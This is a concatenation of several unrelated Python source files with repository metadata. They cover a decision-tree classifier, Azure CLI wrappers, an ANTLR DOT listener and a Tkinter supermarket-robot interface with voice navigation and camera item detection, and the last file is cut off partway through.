'False' else: return 'False' elif obj[9]>3.0: return 'False' else: return 'False' else: return 'True' elif obj[1]<=0: # {"feature": "Direction_same", "instances": 47, "metric_value": 0.3225, "depth": 6} if obj[11]<=0: # {"feature": "Age", "instances": 25, "metric_value": 0.4109, "depth": 7} if obj[4]>1: # {"feature": "Occupation", "instances": 14, "metric_value": 0.4167, "depth": 8} if obj[7]>4: # {"feature": "Coffeehouse", "instances": 12, "metric_value": 0.4381, "depth": 9} if obj[9]>1.0: # {"feature": "Children", "instances": 7, "metric_value": 0.3429, "depth": 10} if obj[5]<=0: # {"feature": "Passanger", "instances": 5, "metric_value": 0.4667, "depth": 11} if obj[0]<=0: # {"feature": "Gender", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[3]>0: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=2: return 'False' else: return 'False' elif obj[3]<=0: return 'True' else: return 'True' elif obj[0]>0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[3]<=0: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=2: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[5]>0: return 'True' else: return 'True' elif obj[9]<=1.0: # {"feature": "Gender", "instances": 5, "metric_value": 0.2667, "depth": 10} if obj[3]<=0: # {"feature": "Passanger", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[0]>0: # {"feature": "Children", "instances": 2, "metric_value": 0.0, "depth": 12} if obj[5]<=0: return 'False' elif obj[5]>0: return 'True' else: return 'True' elif obj[0]<=0: return 'True' else: return 'True' elif obj[3]>0: return 'False' else: return 'False' else: return 'False' elif obj[7]<=4: return 'False' else: return 'False' elif obj[4]<=1: # {"feature": "Coffeehouse", "instances": 11, "metric_value": 0.2525, "depth": 8} if obj[9]>1.0: # {"feature": "Passanger", "instances": 9, "metric_value": 0.1111, "depth": 9} if obj[0]>0: return 'True' elif obj[0]<=0: # {"feature": "Gender", "instances": 2, "metric_value": 0.0, "depth": 10} if obj[3]<=0: return 'False' elif obj[3]>0: return 'True' else: return 'True' else: return 'False' elif obj[9]<=1.0: # {"feature": "Passanger", "instances": 2, "metric_value": 0.0, "depth": 9} if obj[0]<=0: return 'True' elif obj[0]>0: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[11]>0: # {"feature": "Occupation", "instances": 22, "metric_value": 0.0909, "depth": 7} if obj[7]<=16: return 'True' elif obj[7]>16: # {"feature": "Age", "instances": 4, "metric_value": 0.3333, "depth": 8} if obj[4]<=2: # {"feature": "Gender", "instances": 3, "metric_value": 0.3333, "depth": 9} if obj[3]<=0: # {"feature": "Coffeehouse", "instances": 2, "metric_value": 0.0, "depth": 10} if obj[9]>0.0: return 'False' elif obj[9]<=0.0: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' elif obj[4]>2: return 'False' else: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[6]<=1: # {"feature": "Occupation", "instances": 118, "metric_value": 0.3338, "depth": 5} if obj[7]>7: # {"feature": "Time", "instances": 64, "metric_value": 0.2462, "depth": 6} if obj[1]<=2: # {"feature": "Coffeehouse", "instances": 38, "metric_value": 0.1373, "depth": 7} if obj[9]<=2.0: # {"feature": "Age", "instances": 23, "metric_value": 0.1581, "depth": 8} if obj[4]<=6: # {"feature": "Direction_same", "instances": 22, "metric_value": 0.1212, "depth": 9} if obj[11]<=0: return 'True' elif obj[11]>0: # {"feature": "Gender", "instances": 6, "metric_value": 0.3333, "depth": 10} if obj[3]<=0: # {"feature": "Passanger", "instances": 4, "metric_value": 0.5, "depth": 11} if obj[0]<=1: # {"feature": "Children", "instances": 4, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=1: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=1: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' else: return 'True' elif obj[4]>6: return 'False' else: return 'False' elif obj[9]>2.0: return 'True' else: return 'True' elif obj[1]>2: # {"feature": "Passanger", "instances": 26, "metric_value": 0.3401, "depth": 7} if obj[0]<=2: # {"feature": "Direction_same", "instances": 19, "metric_value": 0.4145, "depth": 8} if obj[11]<=0: # {"feature": "Children", "instances": 16, "metric_value": 0.4219, "depth": 9} if obj[5]>0: # {"feature": "Coffeehouse", "instances": 8, "metric_value": 0.3571, "depth": 10} if obj[9]>0.0: # {"feature": "Distance", "instances": 7, "metric_value": 0.2381, "depth": 11} if obj[12]<=2: # {"feature": "Age", "instances": 6, "metric_value": 0.2222, "depth": 12} if obj[4]>0: # {"feature": "Gender", "instances": 3, "metric_value": 0.0, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'True' else: return 'True' elif obj[4]<=0: return 'False' else: return 'False' elif obj[12]>2: return 'True' else: return 'True' elif obj[9]<=0.0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Age", "instances": 8, "metric_value": 0.3333, "depth": 10} if obj[4]<=6: # {"feature": "Coffeehouse", "instances": 6, "metric_value": 0.1667, "depth": 11} if obj[9]>0.0: return 'True' elif obj[9]<=0.0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[3]<=0: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=1: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[4]>6: # {"feature": "Gender", "instances": 2, "metric_value": 0.0, "depth": 11} if obj[3]>0: return 'True' elif obj[3]<=0: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[0]>2: return 'True' else: return 'True' else: return 'True' elif obj[7]<=7: # {"feature": "Coffeehouse", "instances": 54, "metric_value": 0.3991, "depth": 6} if obj[9]>0.0: # {"feature": "Age", "instances": 49, "metric_value": 0.4281, "depth": 7} if obj[4]<=4: # {"feature": "Passanger", "instances": 41, "metric_value": 0.3847, "depth": 8} if obj[0]<=2: # {"feature": "Time", "instances": 35, "metric_value": 0.4288, "depth": 9} if obj[1]>0: # {"feature": "Direction_same", "instances": 18, "metric_value": 0.4575, "depth": 10} if obj[11]<=0: # {"feature": "Distance", "instances": 17, "metric_value": 0.4759, "depth": 11} if obj[12]<=2: # {"feature": "Gender", "instances": 11, "metric_value": 0.3697, "depth": 12} if obj[3]<=0: # {"feature": "Children", "instances": 6, "metric_value": 0.2778, "depth": 13} if obj[5]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Children", "instances": 5, "metric_value": 0.4667, "depth": 13} if obj[5]<=0: return 'False' elif obj[5]>0: return 'True' else: return 'True' else: return 'False' elif obj[12]>2: # {"feature": "Gender", "instances": 6, "metric_value": 0.0, "depth": 12} if obj[3]>0: return 'True' elif obj[3]<=0: return 'False' else: return 'False' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' elif obj[1]<=0: # {"feature": "Distance", "instances": 17, "metric_value": 0.3252, "depth": 10} if obj[12]<=1: # {"feature": "Gender", "instances": 9, "metric_value": 0.1778, "depth": 11} if obj[3]<=0: # {"feature": "Children", "instances": 5, "metric_value": 0.3, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 13} if obj[11]<=1: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' elif obj[12]>1: # {"feature": "Children", "instances": 8, "metric_value": 0.3571, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 7, "metric_value": 0.4048, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[0]>2: return 'True' else: return 'True' elif obj[4]>4: # {"feature": "Passanger", "instances": 8, "metric_value": 0.3333, "depth": 8} if obj[0]<=1: # {"feature": "Time", "instances": 6, "metric_value": 0.2222, "depth": 9} if obj[1]<=1: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.3333, "depth": 10} if obj[11]>0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[3]<=0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Distance", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[12]<=1: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[11]<=0: return 'False' else: return 'False' elif obj[1]>1: return 'True' else: return 'True' elif obj[0]>1: return 'False' else: return 'False' else: return 'True' elif obj[9]<=0.0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'False'

42.001066

262

0.462958

36,928

315,260

3.896637

0.024209

0.128962

0.140686

0.126203

0.971173

0.929838

0.92302

0.853365

0.79688

0.734487

0

0.103556

0.356725

315,260

7,505

263

42.006662

0.605989

0.417547

0

0.99175

0

0.071267

0

1

0.000172

false

0

0.21021

0

null

0

1

0

1

0

null

0

7

814d68783a98126a48a7084913eabb89c98ae4d1

170

py

Python

sktime/datasets/__init__.py

TonyBagnall/sktime

837a77026be3e53511c3d6139ddad14a39351bf5

[ "BSD-3-Clause" ]

2

2019-08-19T13:59:21.000Z

2020-03-02T20:32:31.000Z

sktime/datasets/__init__.py

TonyBagnall/boss_fork

837a77026be3e53511c3d6139ddad14a39351bf5

[ "BSD-3-Clause" ]

null

sktime/datasets/__init__.py

TonyBagnall/boss_fork

837a77026be3e53511c3d6139ddad14a39351bf5

[ "BSD-3-Clause" ]

2

2019-08-24T12:06:15.000Z

2020-01-09T07:32:40.000Z

from .base import load_gunpoint from .base import load_gunpoint_dataframe from .base import load_italy_power_demand_dataframe from .base import load_arrow_head_dataframe

34

51

0.882353

26

170

5.384615

0.423077

0.228571

0.4

0.514286

0.757143

0

0.094118

170

4

52

42.5

0.909091

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

81cdc4a5bc02a6b2f28bbac4651c27cb31e77850

267

py

Python

simulator/scripts/sweep/sec_size_sweep.py

lab11/Task2

3c3451599dd303cd1e2469e5b9e36e1b4ca49fa6

[ "Apache-2.0" ]

21

2018-08-29T18:58:26.000Z

2022-01-12T09:08:04.000Z

simulator/scripts/sweep/sec_size_sweep.py

lab11/permamote

3c3451599dd303cd1e2469e5b9e36e1b4ca49fa6

[ "Apache-2.0" ]

9

2017-11-08T03:22:58.000Z

2020-05-02T18:23:12.000Z

simulator/scripts/sweep/sec_size_sweep.py

lab11/Task2

3c3451599dd303cd1e2469e5b9e36e1b4ca49fa6

[ "Apache-2.0" ]

8

2018-10-28T23:44:23.000Z

2021-07-11T05:18:02.000Z

class sweep: def __init__(self): self.sweep_vars = [[('secondary', 'capacity_J'), [i*10**exp for exp in range(-3, 3) for i in [1, 5]], 'util']] #class sweep: # def __init__(self): # self.sweep_vars = [[('secondary', 'capacity_J'), [1], 'util']]

38.142857

118

0.576779

39

267

3.641026

0.487179

0.140845

0.183099

0.239437

0.732394

0

0.032864

0.202247

267

6

119

44.5

0.633803

0.393258

0

0.144654

0

1

0.333333

false

0

0.666667

0

null

0

1

0

1

0

1

0

null

0

1

0

9

c49c3bb9c49eecb1eda74ddecae4cdade78a0a23

2,538

py

Python

pyaz/postgres/server/key/__init__.py

py-az-cli/py-az-cli

9a7dc44e360c096a5a2f15595353e9dad88a9792

[ "MIT" ]

null

pyaz/postgres/server/key/__init__.py

py-az-cli/py-az-cli

9a7dc44e360c096a5a2f15595353e9dad88a9792

[ "MIT" ]

null

pyaz/postgres/server/key/__init__.py

py-az-cli/py-az-cli

9a7dc44e360c096a5a2f15595353e9dad88a9792

[ "MIT" ]

1

2022-02-03T09:12:01.000Z

''' Manage PostgreSQL server keys. ''' from .... pyaz_utils import _call_az def create(kid, name, resource_group): ''' Create server key. Required Parameters: - kid -- The Azure Key Vault key identifier of the server key. An example key identifier is "https://YourVaultName.vault.azure.net/keys/YourKeyName/01234567890123456789012345678901" - name -- Name of the server. The name can contain only lowercase letters, numbers, and the hyphen (-) character. Minimum 3 characters and maximum 63 characters. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` ''' return _call_az("az postgres server key create", locals()) def delete(kid, name, resource_group, yes=None): ''' Delete server key. Required Parameters: - kid -- The Azure Key Vault key identifier of the server key. An example key identifier is "https://YourVaultName.vault.azure.net/keys/YourKeyName/01234567890123456789012345678901" - name -- Name of the server. The name can contain only lowercase letters, numbers, and the hyphen (-) character. Minimum 3 characters and maximum 63 characters. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` Optional Parameters: - yes -- Do not prompt for confirmation. ''' return _call_az("az postgres server key delete", locals()) def show(kid, name, resource_group): ''' Show server key. Required Parameters: - kid -- The Azure Key Vault key identifier of the server key. An example key identifier is "https://YourVaultName.vault.azure.net/keys/YourKeyName/01234567890123456789012345678901" - name -- Name of the server. The name can contain only lowercase letters, numbers, and the hyphen (-) character. Minimum 3 characters and maximum 63 characters. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` ''' return _call_az("az postgres server key show", locals()) def list(name, resource_group): ''' Required Parameters: - name -- Name of the server. The name can contain only lowercase letters, numbers, and the hyphen (-) character. Minimum 3 characters and maximum 63 characters. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` ''' return _call_az("az postgres server key list", locals())

46.145455

185

0.723404

336

2,538

5.407738

0.193452

0.085856

0.042378

0.028619

0.839296

0.822234

0

0.0523

0.186367

2,538

54

186

47

0.827603

0.760047

0

0.238298

0

1

0.444444

false

0

0.111111

0

1

0

null

0

1

0

null

0

1

0

1

0

8

c4ea2b3280d909e2e67c0135ca2475df32ad58ba

4,100

py

Python

DOTListener.py

Makistos/dotcomb

aa90d8bcfd18b49942fccfd2d45eddab28f6e61a

[ "MIT" ]

null

DOTListener.py

Makistos/dotcomb

aa90d8bcfd18b49942fccfd2d45eddab28f6e61a

[ "MIT" ]

null

DOTListener.py

Makistos/dotcomb

aa90d8bcfd18b49942fccfd2d45eddab28f6e61a

[ "MIT" ]

null

# Generated from DOT.g4 by ANTLR 4.7.1 from antlr4 import * if __name__ is not None and "." in __name__: from .DOTParser import DOTParser else: from DOTParser import DOTParser # This class defines a complete listener for a parse tree produced by DOTParser. class DOTListener(ParseTreeListener): # Enter a parse tree produced by DOTParser#graph. def enterGraph(self, ctx:DOTParser.GraphContext): pass # Exit a parse tree produced by DOTParser#graph. def exitGraph(self, ctx:DOTParser.GraphContext): pass # Enter a parse tree produced by DOTParser#stmt_list. def enterStmt_list(self, ctx:DOTParser.Stmt_listContext): pass # Exit a parse tree produced by DOTParser#stmt_list. def exitStmt_list(self, ctx:DOTParser.Stmt_listContext): pass # Enter a parse tree produced by DOTParser#stmt. def enterStmt(self, ctx:DOTParser.StmtContext): pass # Exit a parse tree produced by DOTParser#stmt. def exitStmt(self, ctx:DOTParser.StmtContext): pass # Enter a parse tree produced by DOTParser#attr_stmt. def enterAttr_stmt(self, ctx:DOTParser.Attr_stmtContext): pass # Exit a parse tree produced by DOTParser#attr_stmt. def exitAttr_stmt(self, ctx:DOTParser.Attr_stmtContext): pass # Enter a parse tree produced by DOTParser#attr_list. def enterAttr_list(self, ctx:DOTParser.Attr_listContext): pass # Exit a parse tree produced by DOTParser#attr_list. def exitAttr_list(self, ctx:DOTParser.Attr_listContext): pass # Enter a parse tree produced by DOTParser#a_list. def enterA_list(self, ctx:DOTParser.A_listContext): pass # Exit a parse tree produced by DOTParser#a_list. def exitA_list(self, ctx:DOTParser.A_listContext): pass # Enter a parse tree produced by DOTParser#edge_stmt. def enterEdge_stmt(self, ctx:DOTParser.Edge_stmtContext): pass # Exit a parse tree produced by DOTParser#edge_stmt. def exitEdge_stmt(self, ctx:DOTParser.Edge_stmtContext): pass # Enter a parse tree produced by DOTParser#edgeRHS. def enterEdgeRHS(self, ctx:DOTParser.EdgeRHSContext): pass # Exit a parse tree produced by DOTParser#edgeRHS. def exitEdgeRHS(self, ctx:DOTParser.EdgeRHSContext): pass # Enter a parse tree produced by DOTParser#edgeop. def enterEdgeop(self, ctx:DOTParser.EdgeopContext): pass # Exit a parse tree produced by DOTParser#edgeop. def exitEdgeop(self, ctx:DOTParser.EdgeopContext): pass # Enter a parse tree produced by DOTParser#node_stmt. def enterNode_stmt(self, ctx:DOTParser.Node_stmtContext): pass # Exit a parse tree produced by DOTParser#node_stmt. def exitNode_stmt(self, ctx:DOTParser.Node_stmtContext): pass # Enter a parse tree produced by DOTParser#node_id. def enterNode_id(self, ctx:DOTParser.Node_idContext): pass # Exit a parse tree produced by DOTParser#node_id. def exitNode_id(self, ctx:DOTParser.Node_idContext): pass # Enter a parse tree produced by DOTParser#port. def enterPort(self, ctx:DOTParser.PortContext): pass # Exit a parse tree produced by DOTParser#port. def exitPort(self, ctx:DOTParser.PortContext): pass # Enter a parse tree produced by DOTParser#subgraph. def enterSubgraph(self, ctx:DOTParser.SubgraphContext): pass # Exit a parse tree produced by DOTParser#subgraph. def exitSubgraph(self, ctx:DOTParser.SubgraphContext): pass # Enter a parse tree produced by DOTParser#r_id. def enterR_id(self, ctx:DOTParser.R_idContext): pass # Exit a parse tree produced by DOTParser#r_id. def exitR_id(self, ctx:DOTParser.R_idContext): pass # Enter a parse tree produced by DOTParser#v_id. def enterV_id(self, ctx:DOTParser.V_idContext): pass # Exit a parse tree produced by DOTParser#v_id. def exitV_id(self, ctx:DOTParser.V_idContext): pass

28.082192

80

0.700976

549

4,100

5.12204

0.151184

0.066145

0.110242

0.198435

0.838549

0.72404

0.713727

0.564367

0.423898

0.037696

0

0.001582

0.229268

4,100

145

81

28.275862

0.888291

0.380488

0

0.454545

1

0

0.000404

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1

0.454545

false

0.454545

0.045455

0

0.515152

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

8

480a482bbcd521000a3f7930ffb20e8da8813657

138

py

Python

linkedin_jobs_scraper/utils/constants.py

magahet/py-linkedin-jobs-scraper

f0d69053455e68bd8a74ab2d79ab2c27b5e3f7d4

[ "MIT" ]

85

2020-10-21T04:09:23.000Z

2022-03-23T00:29:33.000Z

linkedin_jobs_scraper/utils/constants.py

magahet/py-linkedin-jobs-scraper

f0d69053455e68bd8a74ab2d79ab2c27b5e3f7d4

[ "MIT" ]

24

2020-11-18T10:10:32.000Z

2022-03-19T17:30:25.000Z

linkedin_jobs_scraper/utils/constants.py

magahet/py-linkedin-jobs-scraper

f0d69053455e68bd8a74ab2d79ab2c27b5e3f7d4

[ "MIT" ]

23

2020-11-18T09:31:13.000Z

2022-03-25T03:50:52.000Z

HOME_URL = 'https://www.linkedin.com' JOBS_URL = 'https://www.linkedin.com/jobs' JOBS_SEARCH_URL = 'https://www.linkedin.com/jobs/search'

34.5

56

0.73913

22

138

4.454545

0.363636

0.244898

0.336735

0.581633

0.795918

0

0.065217

138

3

57

46

0.75969

0

0.644928

0

1

0

false

0

1

0

null

1

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1

0

1

0

1

0

null

0

7

6fe4b8814f8055cb48856868fba0b87c900e6a59

48,870

py

Python

src/interface.py

sugaarrrr/intelligent-supermarket-system

e8e570f53cc2df4da3f68b2de185bb5ed521b843

[ "MIT" ]

null

src/interface.py

sugaarrrr/intelligent-supermarket-system

e8e570f53cc2df4da3f68b2de185bb5ed521b843

[ "MIT" ]

1

2021-10-12T05:47:50.000Z

src/interface.py

sugaarrrr/intelligent-supermarket-system

e8e570f53cc2df4da3f68b2de185bb5ed521b843

[ "MIT" ]

null

#import libraries from datetime import datetime import time import tkinter as tk import tkinter.scrolledtext as scrtxt from tkinter import * import tkinter.font as font from PIL import Image, ImageTk from tkinter import ttk import speech_recognition as sr from gtts import gTTS from imutils.video.pivideostream import PiVideoStream from imutils.video import FPS import imutils import time import cv2 font_name = "Gentium" classNames = {0: 'background', 1: 'person', 2: 'bicycle', 3: 'car', 4: 'motorcycle', 5: 'airplane', 6: 'bus', 7: 'train', 8: 'truck', 9: 'boat', 10: 'traffic light', 11: 'fire hydrant', 13: 'stop sign', 14: 'parking meter', 15: 'bench', 16: 'bird', 17: 'cat', 18: 'dog', 19: 'horse', 20: 'sheep', 21: 'cow', 22: 'elephant', 23: 'bear', 24: 'zebra', 25: 'giraffe', 27: 'backpack', 28: 'umbrella', 31: 'handbag', 32: 'tie', 33: 'suitcase', 34: 'frisbee', 35: 'skis', 36: 'snowboard', 37: 'sports ball', 38: 'kite', 39: 'baseball bat', 40: 'baseball glove', 41: 'skateboard', 42: 'surfboard', 43: 'tennis racket', 44: 'bottle', 46: 'wine glass', 47: 'cup', 48: 'fork', 49: 'knife', 50: 'spoon', 51: 'bowl', 52: 'banana', 53: 'apple', 54: 'sandwich', 55: 'orange', 56: 'broccoli', 57: 'carrot', 58: 'hot dog', 59: 'pizza', 60: 'donut', 61: 'cake', 62: 'chair', 63: 'couch', 64: 'potted plant', 65: 'bed', 67: 'dining table', 70: 'toilet', 72: 'tv', 73: 'laptop', 74: 'mouse', 75: 'remote', 76: 'keyboard', 77: 'cell phone', 78: 'microwave', 79: 'oven', 80: 'toaster', 81: 'sink', 82: 'refrigerator', 84: 'book', 85: 'clock', 86: 'vase', 87: 'scissors', 88: 'teddy bear', 89: 'hair drier', 90: 'toothbrush'} #classNames = {0:'banana', 1:'apple', 2:'orange', '3': 'scissors', 4:'background'} desired = ['background','banana','apple','scissors','book', 'remote', 'hair drier','bottle'] def id_class_name(class_id, classes): for key, value in classes.items(): if class_id == key: return value model = cv2.dnn.readNetFromTensorflow('models/frozen_inference_graph.pb','models/ssd_mobilenet_v2_coco_2018_03_29.pbtxt') #----------------Scanner------------------------- class Scanner(): def __init__(self, cust): self.customer = cust self.grocery_list = [] def add_item(self, item_name, price, quantity): if self.item_exists(item_name) == True: for entry in self.grocery_list: if entry['item'] == item_name: entry['quantity'] += quantity else: entry = {'item':item_name, 'price':price, 'quantity':quantity} self.grocery_list.append(entry) #print(self.grocery_list) def item_exists(self, item_name): #check if the item is available in the list available = False for entry in self.grocery_list: if entry['item'] == item_name: available = True return available def delete_item(self, item_name): for entry in self.grocery_list: if entry['item'] == item_name: self.grocery_list.remove(entry) #print(self.grocery_list) def receipt(self): return self.grocery_list #---------------Voice command------------------ def voice_input(): # return "Bakery" r = sr.Recognizer() with sr.Microphone() as source: r.adjust_for_ambient_noise(source, duration=1) audio = r.listen(source) try: text = r.recognize_google(audio) if text.lower() == "bakery": return "bakery" elif text.lower() == "dairy": return "dairy" elif text.lower() == "deli": return "deli" elif text.lower() == "dry goods": return "dry goods" elif text.lower() == "health and beauty": return "health and beauty" elif text.lower() == "hygiene": return "hygiene" elif text.lower() == "meat": return "meat" elif text.lower() == "produce": return "produce" elif text.lower() == "seafood": return "seafood" else: return "not found" except sr.UnknownValueError: return "inaudible" except sr.RequestError as e: return "error" #----------------Interface----------------------- nao = Scanner('nao') nao.add_item('Banana', 15, 10) nao.add_item('Apple', 30, 2) nao.add_item('Celery', 10, 5) nao.add_item('Garlic', 15, 5) nao.add_item('Salt', 75, 1) nao.add_item('Pepper', 85, 1) class MainApp(tk.Tk): def __init__(self, *args, **kwargs): tk.Tk.__init__(self, *args, **kwargs) container = tk.Frame(self) container.pack(side = "top", fill = "both", expand = True) container.grid_rowconfigure(0, weight=1) container.grid_columnconfigure(0, weight=1) self.frames = {} for F in (Opening, ShoppingCart, Navigation, Bakery, Dairy, Deli, Dry_goods, Health_beauty, Hygiene, Meat, Produce, Seafood, Checkout): frame = F(container, self) self.frames[F] = frame frame.grid(row=0, column=0, sticky="nsew") self.show_frame(Opening) def show_frame(self, cont): frame = self.frames[cont] frame.tkraise() class Opening(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="Welcome to mBot Market!", font=(font_name,15, 'bold')) label.place(relx = 0.5, rely = 0.1, anchor = 'center') button = tk.Button(self, text="Shopping cart", font=(font_name, 10), width=15, height=2, command=lambda: controller.show_frame(ShoppingCart)) button.place(relx = 0.2, rely = 0.25, anchor = 'center') button = tk.Button(self, text="Navigation", font=(font_name, 10), width=15, height=2, command=lambda: controller.show_frame(Navigation)) button.place(relx = 0.5, rely = 0.25, anchor = 'center') button = tk.Button(self, text="Check out", font=(font_name, 10), width=15, height=2, command=lambda: controller.show_frame(Checkout)) button.place(relx = 0.8, rely = 0.25, anchor = 'center') icon = ImageTk.PhotoImage(Image.open("main_icon.png")) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.65, anchor = 'center') label.image = icon class ShoppingCart(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="Your Shopping Cart", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') self.build_tree() button = tk.Button(self, text="Add Item", font=(font_name, 10), width=20, height=1, command=lambda: self.add_item(controller)) button.place(relx = 0.31, rely = 0.9, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=20, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.69, rely = 0.9, anchor = 'center') def build_tree(self): shopping_list = nao.receipt() cols = ('No.', 'Item', 'Qty.', 'Price') table = ttk.Treeview(self, columns = cols, show = 'headings', height=15) table.place(relx = 0.5, rely = 0.125, anchor = 'n') for i in table.get_children(): table.delete(i) table.column(cols[0], width = 30, anchor = 'center') table.column(cols[1], width = 250, anchor = 'w') table.column(cols[2], width = 30, anchor = 'center') table.column(cols[3], width = 40, anchor = 'center') table.heading(cols[0], text = cols[0]) table.heading(cols[1], text = cols[1], anchor = 'w') table.heading(cols[2], text = cols[2]) table.heading(cols[3], text = cols[3]) for i in range(len(shopping_list)): table.insert("", "end", values=(i+1, shopping_list[i]['item'], shopping_list[i]['quantity'], shopping_list[i]['price'])) def add_item(self, controller): #EDIT DISINI JDK BUAT ADD ITEM #buka cam, add item pake popup kek or bebas vs = PiVideoStream().start() time.sleep(2.0) while True: image = vs.read() #print(image);print(image.shape) print('reading...') image_height, image_width, _= image.shape model.setInput(cv2.dnn.blobFromImage(image, size=(300, 300), swapRB=True)) output = model.forward() added = False for detection in output[0, 0, :, :]: confidence = detection[2] if confidence > .5: class_id = detection[1] class_name=id_class_name(class_id,classNames) if class_name not in desired: break else: print(class_name,'found! Adding to cart...') nao.add_item(class_name,100,1) added = True cv2.imshow('image',image) if added: cv2.destroyAllWindows() vs.stop() break self.build_tree() controller.show_frame(ShoppingCart) class Navigation(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="What are you looking for?", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') icon = Image.open("decorations/Base.jpg") icon = icon.resize((467, 240), Image.ANTIALIAS) icon = ImageTk.PhotoImage(icon) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.38, anchor = 'center') label.image = icon button = tk.Button(self, text="Voice Command", font=(font_name, 10), width=26, height=1, command=lambda: self.goto(controller)) button.place(relx = 0.26, rely = 0.7, anchor = 'center') button = tk.Button(self, text="Return", font=(font_name, 10), width=26, height=1, command=lambda: controller.show_frame(Opening)) button.place(relx = 0.74, rely = 0.7, anchor = 'center') def goto(self, controller): input = voice_input() if (input.lower() == "bakery"): controller.show_frame(Bakery) elif (input.lower() == "dairy"): controller.show_frame(Dairy) elif (input.lower() == "deli"): controller.show_frame(Deli) elif (input.lower() == "dry goods"): controller.show_frame(Dry_goods) elif (input.lower() == "health and beauty"): controller.show_frame(Health_beauty) elif (input.lower() == "hygiene"): controller.show_frame(Hygiene) elif (input.lower() == "meat"): controller.show_frame(Meat) elif (input.lower() == "produce"): controller.show_frame(Produce) elif (input.lower() == "seafood"): controller.show_frame(Seafood) elif (input.lower() == "not found"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, category not found :(", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "inaudible"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, inaudible voice. Please try again", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') elif (input.lower() == "error"): popup = tk.Tk() popup.wm_title("Sorry!") popup.geometry("275x100") label = ttk.Label(popup, text = "Sorry, service is unavailable", font=(font_name, 10)) label.place(relx = 0.5, rely = 0.3, anchor = 'center') button = tk.Button(popup, text="Okay", font=(font_name, 10), width=10, height=1, command=lambda: self.finish(controller, popup)) button.place(relx = 0.5, rely = 0.7, anchor = 'center') def finish(self, controller, popup): popup.destroy() controller.show_frame(Navigation) class Bakery(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self,parent) label = tk.Label(self, text="What are you looking for?", font=(font_name, 12, 'bold')) label.place(relx = 0.5, rely = 0.075, anchor = 'center') icon = Image.open("decorations/Bakery.jpg") icon = icon.resize((467, 240), Image.ANTIALIAS) icon = ImageTk.PhotoImage(icon) label = tk.Label(self, image=icon) label.place(relx = 0.5, rely = 0.38, anchor = 'center') label.image = icon button = tk.Button(self, 